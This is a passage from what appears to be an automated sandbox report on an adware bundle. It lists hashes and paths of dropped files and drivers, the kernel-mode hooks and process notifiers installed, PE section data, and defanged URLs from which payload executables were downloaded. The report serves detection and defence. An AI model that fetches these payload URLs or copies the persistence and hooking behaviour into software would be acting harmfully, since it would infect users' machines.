c790bd997d33ad5571bee44eeab05101	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\Temp\OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH\OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH_a7.exe
d61776c4928db339475ab6a773585c9d	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\Temp\OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH\OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH_am2.exe
a3b18caddaea137231ec5e77be640f71	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\Temp\OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH\OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH_bn.exe
5e9197f2efb177020f06704a64cd5bd5	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\Temp\OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH\OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH_t3.exe
6f67e1b655f1eeada317bb65207d3827	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\Temp\OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH\OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH_y3.exe
8399dcc38660b855d5ee7d9b81271334	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\amisetup9587__9664.exe
9e5c99bf0f9e4d24ec4e2181986e00e3	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsa13.tmp\InstallUtility.dll.1448348661
bf712f32249029466fa86756f5546950	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsa13.tmp\System.dll
fb730c05b8f15f2674dd268be52c2081	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsa13.tmp\log.dll.1448348662
2b7007ed0262ca02ef69d8990815cbeb	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsq3.tmp\registry.dll
6f67e1b655f1eeada317bb65207d3827	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\0XE5SP6P\310714_y3[1].exe
5e9197f2efb177020f06704a64cd5bd5	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\5N2USN4O\240714_t3[1].exe
c790bd997d33ad5571bee44eeab05101	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\VP1ZYTCC\310714_a7[1].exe
d61776c4928db339475ab6a773585c9d	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\VP1ZYTCC\310714_am2[1].exe
a3b18caddaea137231ec5e77be640f71	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\WTGZIPUB\310714_bn[1].exe
504b47c9de45315157b6ffc12e8e6e4a	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BDrvComm.dll
5042947740b74da3e11b8b89450b5d3e	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BETManger.dll
b125c461f4639373e998a4022b17673b	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BEVMApi001.dll
28ceee8a083753e43f10c0d09d69b538	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BEVMEngine.dll
664867ea09d88eca73d173202470c291	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BHAHHandler.dll
a4606b3f037904f12e1baece9ac15d45	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BHAVHandler.dll
051cf8948d3e3cf9f6a3f351020c58ef	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BHCHHandler.dll
a5b1b331e20d1665b905cf965281b8b3	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BHFramework.dll
270b3f770aeaa06a4569af2c21b7ac64	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BHHandler001.dll
b5fdb3353b6a06d82390d6acb78d8ba0	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BHTasks001.dll
4ce92ea782a7ccfba696307d3a40f08e	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BHUIHandler.dll
f1d6b6f7aa9ea12a518821490c9fb63f	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BHipsCore.dll
f289c935aa4cf8715475102590a86e22	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BHipsEx.sys
e14ea602f5c558573de53ec0b3eb66d6	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BHipsSvc.exe
81326229bc1b12f14123a5ef6a464d65	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BNetOp.dll
5c447fc7047cc905c021a2486f00c147	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Bav.exe
64b78719dda47169ed8c157401c3880d	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavAdvTools.dll
de5f6f1159c0230279ca42b5acc67ab1	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavAs.dll
ca4b31eef75512c4dfc3b9f5e766c4fb	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavBase.dll
89d6f043d1b16bb7cea662d8a1ca4435	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavBh.dll
75adfbffefc9e5cf19aec9af738cad30	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavCheckOpponent.exe
982b7a09672ac433cddd33b61ca8973b	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavClean.dll
661ac81ebb6fdd4e8d7e86ac3fa15598	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavCns.dll
bb9179784051205e8b400eeccbc6a8e1	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavCommon.dll
51e884da7e7b5d55f2c260b255403010	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavDd.dll
cdd73f2f12484df595819d16fc73b71c	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavDllFilter.dll
c22a339523e9a3385669d2d95f7fcb81	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavFi.dll
30ac4e535296dcdc127eb8df86f84f4e	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavLSP.dll
a67023065085d14c6f1406324717843a	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavLib.dll
aabed98c724c1e06ab6b888e6d2cc015	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavMem.dll
95df21bb12bace82b01e025ba78b2f6b	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavOa.dll
e61ece8b9a7af90a3fa36890386b2132	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavOpenUnknownFile.exe
a760c284cdfc84b307db82bb48c1f286	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavPBMisc.dll
1347956be764abb5ab83afb910873c11	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavPe.dll
164f25013d408970fe9322163d9fcae7	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavQv.dll
15c45f463b374c392c5f3b8f09a37079	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavR3Base.sys
e5833e44c02bdcb8cf25a761d374169d	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavR3Base64.sys
2ee13e9514a7343366ed416eb6df4dd7	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavRr.dll
abc2d8e97e616f650e3b66bb0af43f6b	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavScan.dll
0c40c056cd805b9a12c6e59bcd17ef2d	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavShx.dll
8e366df3c8a63247b935a26f514bfabc	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavShx64.dll
d353cd398b83732eaa8d78d97508adc4	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavSig.dll
68a9c9cca0734f01857247079bf7f1a4	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavSk.dll
443e31666d30b20972eaa109a285f851	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavSs.dll
96e82c2dfc014db8f8d78c6bf80f7bbf	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavSu.dll
71a98e8f6eacc0dfcfa5e2c00dad3738	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavSvc.exe
2581910c41f9f233a4128a36f0b8eef0	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavTray.exe
7dd42d67cb3649f983f4d010034ce470	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavUa.dll
6b8bfebf67bd48800087846826d4b873	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavUl.dll
1cd436eedfcb8d77c2dfc5bfcbcdc19b	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavUm.dll
057d9c56b013186f0ac50f43ca0b7e8f	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavUm64.dll
3cc6f8a7fd9d380670778793c3fc9cb0	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavUp.dll
bb6f2a99c9c69780bcb3574311e9c409	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavUpdater.exe
f4ff18b5b80a585ffcf99da082cf2e20	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavVM.dll
db94c14fd410537a0ea2307b6683ee89	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavVt.dll
2fe5252770d0c1d94aef14e065474967	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavWebClient.exe
54851ef2b276f332005d5eb91b45312d	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavWl.dll
9bcda5ee0795a4093111646f05a9e473	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Bavnt.dll
3f3c319e46cb36e2149db6cb370f95db	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Bavnt64.dll
9681e05828560de2ec0c66d35de018e7	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Bavqu.dll
b2dc2c157f21f2f125de3b307d2bdeab	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Bavuhp.dll
03f5ff96a4d1fa1a28174753698876bb	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BdApiUtil.dll
9dc8772ee33dcfa1bd451d82b6d21826	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BdApiUtil.sys
e44398725d968c824f93d1d4b77cb54f	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BdApiUtil64.sys
4ade74dab3b8bb193263a8db5d19bca1	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BdCameraProtect.sys
b1247070f6e854198cc1b9a1ca1f20df	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BdCameraProtect64.sys
163ff578cec05e98efdaa09f90ee810a	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Bdark.sys
dad8d662bf6023b0e2eb9f7fe5fe75cc	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Bdark64.sys
a2ed0beecc7415f0a6e2e6e7a8acb6c5	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Bfilter.sys
3650d0af2552b15a4919b71604e0f87e	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Bfilter64.sys
57c64c63d9d988c72dfc434b2712af7b	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Bfmon.sys
49cb3268f31bab8fb53a7f7e2284b9f0	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Bfmon64.sys
caf253aeed7da0698ef81164df6ecda8	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Bhbase.sys
145685f468de361ad4e388104aac08a6	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Bnmon.sys
9e3f2b80050707ab0d3f665d8785a194	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Bnmon64.sys
d63b4546a9258dc44823e43b9f6925d7	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Bprotect.sys
2418c322883650e6f1ecc40c271e3229	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Bprotect64.sys
35d191064be55dc21fe643686affe7da	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BsrScan\BavBsr.dll
19ccd36f272cf75e0445fa8810fd63c2	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BsrScan\BsrScript.dll
1ec1aad8d8f168fd02fba2c5426792d6	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BsrScan\bsrbc.sys
f092103b7281077784a14500d57ecf50	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BsrScan\bsrbc64.sys
e6f6d42b84b512fb6f607010a8ef8d1e	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BsrScan\symsrv.dll
fd0524543f3d545bb02b3b1e962bd055	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\CP.dll
1aa6f89273ba269ef5ba4e206c72a757	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\CheckNetwork.exe
24031fed7bcb89d9e933d851654380e3	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Communication.dll
b3744c04d331ed226e2114f35a93543b	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\CrashReport.exe
9e0c0ed73622493731acff732fa3f03f	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\CrashReport64.exe
42a200527bc0f7267975e464c74af76f	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\CrashUL.exe
324f91f9a056a010bba245b534817a6d	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\DeleteOldInstallFile.exe
4a0edf37eb6a6aa38c4bdfc4ae07e915	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\DirectUI.dll
ab0b28708333657a4850ac4a08e1e83a	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\DrvInst.dll
f2138eb19d41c97629f349d25d918baf	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ExtendHandler.dll
7e21d599c344ac64fbf0feb2d0a17812	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Feedback.exe
fa34ae25d49b22c1463122dbeb967fb3	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\FileSplitUpLoad.dll
505020c0c01943d3a4a640e9e9f45b78	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\HackerDefense.dll
df36027d78de0cc24e015467d9deab3d	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\HipsAp.dll
f720dfbaa639144a5fe8ac224729590e	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\HipsCfg.dll
af88f5522b7c9393b8041e10d8f8cc05	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\HipsDR.dll
d3f8dadc570810f86c78d5fe38c3d2f0	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\HipsHB.dll
8ac3f3f28f7d27dce43631faa902964b	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\HipsHp.dll
016244f51d5092372a593cf5d9c820ef	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\HipsLogger.dll
bede6e29351a15521cb891a8cfac4cd9	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\HipsNetFlt.dll
5de618a4ae2c3b39ba4b54714c3304df	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\IEProtect.exe
836d06e984fe19174cf195eee66b36b9	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\IntellNoDisturb.dll
8f5ff5a534244b105845d370b9f0e1d4	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Investigate.exe
d4ac236f0e74f2a644c681df5adce80c	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\MoboMarket_Setup_Mini_BAV_SDK.exe
81c81cd7f59e77cdf6361123dbede23e	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\NetRepairTool.dll
76e70437e3dcb419886c67f498e69f4e	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Operation.dll
8103115ea6925ba1ca12a3f2a0bbd898	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\PCAppStore_Setup_bav.exe
440830d40720de27dae2c572de718cca	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\PC_Faster_Setup_Mini_GL16.exe
363948071b4140aa4d227a436c25bb68	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Plugins\IPlug_Hips\IPlug_Hips.dll
6b621852893efe22ed0efd4dbca17d7c	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Plugins\IPlug_Scan\IPlug_Scan.dll
9b766a944fefe067986845edd786c195	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Plugins\Plugin_Adp\Plugin_HipsAdp.dll
1090283e2357173d3571a070c3226ed6	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Plugins\Plugin_Antivirus\Plugin_Antivirus.dll
753e94aa17692434e39f5da66ae36b6a	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Plugins\Plugin_Pop_Download\Plugin_Pop_Download.dll
6b319e371be03665e39f5b70e0da6b4f	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Plugins\Plugin_Pop_Hips\Plugin_Pop_Hips.dll
942b411fedf7b5a0314ef694ee54500c	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Plugins\Plugin_Pop_OA\Plugin_Pop_OA.dll
2296ba14fbf1f7c52211473b69df9610	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Plugins\Plugin_Protect\Plugin_Protect.dll
d349c24ec9108e5a03f851b5ae334756	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Plugins\Plugin_Tools\Plugin_Tools.dll
d98b62f01ba3d891344d418bfe9892bd	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Plugins\Plugin_USBProtect\Plugin_USBProtect.dll
ecf0aeac2ed09e17319e4afae65925cc	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Plugins\Pulgin_Dark_DeleteFileTip\Pulgin_Dark_DeleteFileTip.dll
5154461194f6c17100f5276ef537496f	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Pulgin_Dark_DeleteFileTip.dll
33b2bfa3a257c52c0a73f81350d770fd	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\RecallDown.exe
e0ff07d4620971687b75fafdcae8142a	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ReportComm.dll
94f47afc20642cb9618ffbf682b0b30d	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ReportComm64.dll
650f46943d7fbb470ddaaab5c07e120a	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\ReportCommRetry.exe
b8cbfabe1d0575e3ba84e147f272b4cd	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\SecurityCode.dll
8487fa06ef2a805baaea27f745805dc4	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\Uninstall.exe
dde1d481cbe8afeee11b76de30c83ec7	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bavhm.exe
7bb15790dc5ae9481b77d53d587ae65c	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bnbase.sys
01fca1fdc6717f0414261ff856bd3e69	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bnbasex.sys
121863a1c3d03c928ff719a9374c204c	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bnbasex64.sys
8a93954c59f19bda1e46b8c83181565e	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bndef.sys
bf35a2147a56a1cf4b2a70fd5362b305	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\bndef64.sys
7583987834a3710eae1e9a9b82e59699	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\dark.dll
fb730c05b8f15f2674dd268be52c2081	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\log.dll
d92779be6b6894b22dbd55a40b52dd83	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\npbdplugin.dll
924eddc1aa76ff84807c765e2c5a2c81	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\BavPc.dll
9cfcc09a627f9ca4ca95f939c7391f50	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\plugscan\EnumModules.exe
af90880bd7eca4df2165d80524d4e01d	c:\Program Files\Baidu Security\Baidu Antivirus\5.4.3.147185.0\sqlite.dll
4ffcaa7e39b91ec14eb0885443e79e94	c:\Program Files\PennyBee\DealplyInstallerHelper.dll
f7181e6df93cb6123363915fe97079a3	c:\Program Files\PennyBee\PennyBee.exe
ea5829a651dd50e7e1bbadc0375e6095	c:\Program Files\PennyBee\PennyBeeW.exe
3fa2d1daed83873952dbc6a44012a042	c:\Program Files\PennyBee\Resources\ntdis_32.dll
ed6d776285187405804c2204894df22e	c:\Program Files\PennyBee\Resources\ntdisie_32.dll
a04a792a86db48aa251a1d8b62309f1a	c:\Program Files\PennyBee\uninstall.exe
f289c935aa4cf8715475102590a86e22	c:\WINDOWS\system32\drivers\BHipsEx.sys
a2ed0beecc7415f0a6e2e6e7a8acb6c5	c:\WINDOWS\system32\drivers\Bfilter.sys
57c64c63d9d988c72dfc434b2712af7b	c:\WINDOWS\system32\drivers\Bfmon.sys
caf253aeed7da0698ef81164df6ecda8	c:\WINDOWS\system32\drivers\Bhbase.sys
d63b4546a9258dc44823e43b9f6925d7	c:\WINDOWS\system32\drivers\Bprotect.sys
163ff578cec05e98efdaa09f90ee810a	c:\WINDOWS\system32\drivers\bdark.sys
7bb15790dc5ae9481b77d53d587ae65c	c:\WINDOWS\system32\drivers\bnbase.sys
8a93954c59f19bda1e46b8c83181565e	c:\WINDOWS\system32\drivers\bndef.sys

HOSTS file anomalies

No changes have been detected.

Rootkit activity

Using the driver "\??\%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BdApiUtil.sys" the Adware controls creation and closing of processes by installing the process notifier.
Using the driver "%System%\drivers\Bhbase.sys" the Adware controls creation and closing of processes by installing the process notifier.
Using the driver "\??\%Program Files%\Baidu Security\Baidu Antivirus\5.4.3.147185.0\BavR3base.sys" the Adware controls creation and closing of processes by installing the process notifier.
Using the driver "%System%\drivers\Bfilter.sys" the Adware controls creation and closing of processes by installing the process notifier.
Using the driver "%System%\drivers\bndef.sys" the Adware controls creation and closing of processes by installing the process notifier.
Using the driver "%System%\drivers\Bhbase.sys" the Adware controls creation and closing of threads by installing the thread notifier.
Using the driver "%System%\drivers\Bhbase.sys" the Adware controls loading executable images into a memory by installing the Load image notifier.
Using the driver "%System%\drivers\Bprotect.sys" the Adware controls loading executable images into a memory by installing the Load image notifier.
Using the driver "%System%\drivers\bnbase.sys" the Adware controls loading executable images into a memory by installing the Load image notifier.
Using the driver "%System%\drivers\BHipsEx.sys" the Adware controls operations with a system registry by installing the registry notifier.
The Adware installs the following kernel-mode hooks:

ZwAllocateVirtualMemory
ZwAssignProcessToJobObject
ZwConnectPort
ZwContinue
ZwCreateEvent
ZwCreateFile
ZwCreateKey
ZwCreateMutant
ZwCreateNamedPipeFile
ZwCreatePort
ZwCreateProcess
ZwCreateProcessEx
ZwCreateProfile
ZwCreateSection
ZwCreateSymbolicLinkObject
ZwCreateThread
ZwDeleteFile
ZwDeleteKey
ZwDeleteValueKey
ZwDeviceIoControlFile
ZwDuplicateObject
ZwEnumerateKey
ZwEnumerateValueKey
ZwFreeVirtualMemory
ZwFsControlFile
ZwLoadDriver
ZwMapViewOfSection
ZwOpenFile
ZwOpenKey
ZwOpenProcess
ZwOpenSection
ZwOpenThread
ZwProtectVirtualMemory
ZwQueryInformationProcess
ZwQueryInformationThread
ZwQueryIntervalProfile
ZwQueryKey
ZwQueryMultipleValueKey
ZwQuerySystemInformation
ZwQueryValueKey
ZwQueueApcThread
ZwReadVirtualMemory
ZwRenameKey
ZwRequestWaitReplyPort
ZwRestoreKey
ZwSecureConnectPort
ZwSetContextThread
ZwSetInformationFile
ZwSetInformationKey
ZwSetInformationProcess
ZwSetInformationThread
ZwSetIntervalProfile
ZwSetSecurityObject
ZwSetSystemInformation
ZwSetValueKey
ZwSuspendThread
ZwSystemDebugControl
ZwTerminateProcess
ZwTerminateThread
ZwUnmapViewOfSection
ZwVdmControl
ZwWriteFile
ZwWriteVirtualMemory

Propagation

VersionInfo

No information is available.

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	4096	23130	23552	4.44841	0bc2ffd32265a08d72b795b18265828d
.rdata	28672	4496	4608	3.59163	f179218a059068529bdb4637ef5fa28e
.data	36864	110488	1024	3.26405	975304d6dd6c4a4f076b15511e2bbbc0
.ndata	147456	36864	0	0	d41d8cd98f00b204e9800998ecf8427e
.rsrc	184320	2536	2560	3.13573	081c516f7637d16660ac63dce8f7c9c9

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Total found: 196
fe19430e206762bb2e9b7a8eda606fd5
897e9d7c2a980e9fc078e47614ed6850
c16d9ccf153e03e3e1ab76792f5fcef0
d3e30903c5652d81d958a34ae4d4caf9
91257240ddbe3b8ad0d603495910341a
5abd9b564b29b3ba29e16f137288d3ef
f787db9267e45aba32134d8e711aa312
b00c57f5413d8abb3aad2b460612d0d4
ffa559faa44222d65f38ef07cccb229f
56b3af0fc56a4dbbcaee9ea03146db9e
e51b0432c61d3695ce4ee2a637d07a38
a564e9383b40bf3a7a3c365d1c717483
400cd08b0a5b247be48c307d92ad22d2
8f53fd4928c47ce1900a9321c288c509
6ac93c6bd9f960818343239525f97698
2f1a1f49b0c18fc659a45b47fba1f08a
07ae3c4e8930c996e5fc114533f195b0
58aede648f3b33bb37031043194c50fc
9c663c9d134cd9260338c3278711d335
4cb266aac3a80b80078c0a836dce50e7
848acc82dbc692b4971f0094fb3abca0
8e89fece5296f309459573588ee1a487
23634f0faba51b602dfa74f4f0482e05
948cd4caf01b250054bbb4ac8eefabab
e4407b7de8960df66febce8d6134418c

URLs

URL	IP
hxxp://2ndrequest.me/310714d/310714_a7.exe?aleaTokenID=OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH
hxxp://2ndrequest.me/310714d/240714_t3.exe?aleaTokenID=OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH
hxxp://xa.xingcloud.com/v4/sof-installer/VMwareXVirtualXIDEXHardXDrive_00000000000000000001?action1=xa.geoip&action2=visit&action3=pcm.visit.webssearches&update1=ref,pcm&update2=identifier,installer&update3=version,6.3.76.1518&update4=nation,us&update5=language,en	69.28.58.55
hxxp://2ndrequest.me/310714d/310714_bn.exe?aleaTokenID=OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH
hxxp://plainsavingscenter.com/mg?alpha=fHB9C3BBTzRdMTJMUiF/fTQuBnB8Nn96dgMZdkBsDiY8GwAqeWB5HApEfAVVKBRlVwgIdRAPR2MCLCQQb3hHBgIEJ2FEeyxtQzZrVi9y
